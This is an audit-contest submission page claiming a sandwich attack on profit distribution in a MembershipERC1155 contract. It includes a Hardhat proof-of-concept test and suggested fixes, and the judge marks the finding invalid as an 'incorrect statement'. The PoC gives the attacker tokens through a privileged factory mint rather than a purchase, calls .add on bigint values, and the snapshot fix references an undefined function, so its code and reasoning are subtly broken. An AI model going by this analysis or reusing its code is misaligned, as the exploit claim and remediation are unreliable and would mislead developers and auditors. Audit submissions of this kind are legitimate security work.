Project

One World
NFTDeFi
15,000 USDC
View results
Submission Details
Severity: medium
Invalid

Profit Distribution Manipulation via Sandwich Attack in MembershipERC1155's sendProfit Function

Vulnerability Description

The sendProfit function in MembershipERC1155.sol is vulnerable to a sandwich attack where an attacker can manipulate their profit share by temporarily increasing their token holdings just before profit distribution. The vulnerability exists because profit distribution is calculated based on current token holdings without considering the holding duration.

The vulnerable function:

function sendProfit(uint256 amount) external {
uint256 _totalSupply = totalSupply;
if (_totalSupply > 0) {
totalProfit += (amount * ACCURACY) / _totalSupply;
IERC20(currency).safeTransferFrom(msg.sender, address(this), amount);
emit Profit(amount);
} else {
IERC20(currency).safeTransferFrom(msg.sender, creator, amount);
}
}

The vulnerability arises from:

  1. Profit calculation based on current holdings: totalProfit += (amount * ACCURACY) / _totalSupply

  2. The shareOf function that calculates user shares without time consideration:

function shareOf(address account) public view returns (uint256) {
return (balanceOf(account, 0) * 64) +
(balanceOf(account, 1) * 32) +
(balanceOf(account, 2) * 16) +
(balanceOf(account, 3) * 8) +
(balanceOf(account, 4) * 4) +
(balanceOf(account, 5) * 2) +
balanceOf(account, 6);
}

An attacker can:

  1. Monitor the mempool for incoming sendProfit transactions

  2. Front-run by purchasing large amounts of membership tokens

  3. Allow the profit distribution to occur

  4. Claim their disproportionate share of profits using claimProfit

  5. Sell their tokens immediately after

POC:

const { loadFixture, time } = require("@nomicfoundation/hardhat-toolbox/network-helpers");
const { expect } = require("chai");
const profitAmount = ethers.parseUnits("1000", 18);
const initialMintAmount = ethers.parseUnits("100", 18);
const attackerMintAmount = ethers.parseUnits("10000", 18);
describe("MembershipERC1155 Sandwich Attack", function () {
async function deployFixture() {
const [owner, factory, alice, bob, attacker] = await ethers.getSigners();
// Deploy Token (ERC20) for profit distribution
const Token = await ethers.getContractFactory("Token");
const token = await Token.deploy();
// Deploy MembershipERC1155
const Membership = await ethers.getContractFactory("MembershipERC1155");
const membership = await Membership.deploy();
// Initialize membership contract
await membership.initialize(
"Membership",
"MEM",
"ipfs://baseuri/",
owner.address,
await token.getAddress()
);
// Grant factory role to factory address
await membership.grantRole(await membership.OWP_FACTORY_ROLE(), factory.address);
// Distribute initial tokens and approve membership contract
await token.transfer(owner.address, profitAmount);
await token.approve(await membership.getAddress(), profitAmount);
return {
token,
membership,
owner,
factory,
alice,
bob,
attacker
};
}
describe("Sandwich Attack on Profit Distribution", function () {
it("should demonstrate the sandwich attack where attacker captures most profits", async function () {
const { token, membership, owner, factory, alice, bob, attacker } = await loadFixture(deployFixture);
// Step 1: Mint tokens for Alice and Bob (Level 0 tokens for simplicity)
await membership.connect(factory).mint(alice.address, 0, 100);
await membership.connect(factory).mint(bob.address, 0, 100);
console.log("Alice received 100 Level 0 tokens (weight: 6400)");
console.log("Bob received 100 Level 0 tokens (weight: 6400)");
// Verify initial balances
expect(await membership.balanceOf(alice.address, 0)).to.equal(100);
expect(await membership.balanceOf(bob.address, 0)).to.equal(100);
// Step 2: Simulate time passing
await time.increase(30 * 24 * 60 * 60); // 30 days
console.log("\nSimulated time passing of 1 month...");
// Step 3: Attacker front-runs with large mint
await membership.connect(factory).mint(attacker.address, 0, 10000);
console.log("\nAttacker received 10000 Level 0 tokens (weight: 640000)");
// Calculate shares before profit distribution
const aliceShare = await membership.shareOf(alice.address);
const bobShare = await membership.shareOf(bob.address);
const attackerShare = await membership.shareOf(attacker.address);
const totalShares = aliceShare + bobShare + attackerShare;
console.log("\nShares before profit distribution:");
console.log(`Alice's share: ${aliceShare} (${(aliceShare * 100n) / totalShares}%)`);
console.log(`Bob's share: ${bobShare} (${(bobShare * 100n) / totalShares}%)`);
console.log(`Attacker's share: ${attackerShare} (${(attackerShare * 100n) / totalShares}%)`);
// Step 4: Owner distributes profit
await membership.connect(owner).sendProfit(profitAmount);
console.log(`\nOwner distributed ${ethers.formatUnits(profitAmount, 18)} tokens as profit`);
// Step 5: All parties claim their profits
await membership.connect(attacker).claimProfit();
await membership.connect(alice).claimProfit();
await membership.connect(bob).claimProfit();
// Get final profit amounts
const attackerProfit = await token.balanceOf(attacker.address);
const aliceProfit = await token.balanceOf(alice.address);
const bobProfit = await token.balanceOf(bob.address);
console.log("\nProfit Distribution Results:");
console.log(`Attacker claimed: ${ethers.formatUnits(attackerProfit, 18)} tokens`);
console.log(`Alice claimed: ${ethers.formatUnits(aliceProfit, 18)} tokens`);
console.log(`Bob claimed: ${ethers.formatUnits(bobProfit, 18)} tokens`);
// Step 6: Attacker exits position
await membership.connect(factory).burn(attacker.address, 0, 10000);
console.log("\nAttacker burned all tokens after claiming profit");
// Verify attacker received majority of profits
expect(attackerProfit).to.be.gt(aliceProfit.add(bobProfit));
console.log("\nAttack successful: Attacker received majority of profits through sandwich attack");
});
});
});

This PoC demonstrates how an attacker can:

  1. Monitor for incoming profit distribution transactions

  2. Front-run by getting a large amount of Level 0 tokens (highest weight)

  3. Receive a disproportionate share of profits due to their temporarily inflated share

  4. Exit their position immediately after claiming profits

The vulnerability is particularly severe because:

  1. The shareOf function calculates based on current holdings without time consideration

  2. The profit distribution in sendProfit is immediate

  3. There's no vesting or lockup period for newly minted tokens

The output will show how the attacker captures most of the profit despite only holding tokens briefly, while long-term holders (Alice and Bob) receive minimal returns.

Recommendation

  1. Implement a profit vesting period:

mapping(address => uint256) private lastTokenPurchaseTime;
uint256 private constant VESTING_PERIOD = 7 days;
function _update(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts
) internal virtual override {
if (to != address(0)) {
lastTokenPurchaseTime[to] = block.timestamp;
}
super._update(from, to, ids, amounts);
}
function shareOf(address account) public view returns (uint256) {
if (block.timestamp - lastTokenPurchaseTime[account] < VESTING_PERIOD) {
return 0;
}
// Original share calculation
}
  1. Alternative: Implement a snapshot-based system:

mapping(uint256 => uint256) private profitSnapshots;
uint256 private snapshotId;
function sendProfit(uint256 amount) external {
snapshotId++;
profitSnapshots[snapshotId] = block.timestamp;
// Rest of the function
}
function shareOf(address account) public view returns (uint256) {
if (block.timestamp - profitSnapshots[snapshotId] < 1 hours) {
return previousShareOf(account);
}
// Original share calculation
}
Updates

Lead Judging Commences

0xbrivan2 Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Appeal created

3n4m1 Submitter
about 1 year ago
x18a6 Auditor
about 1 year ago
0xbrivan2 Lead Judge
about 1 year ago
0xbrivan2 Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!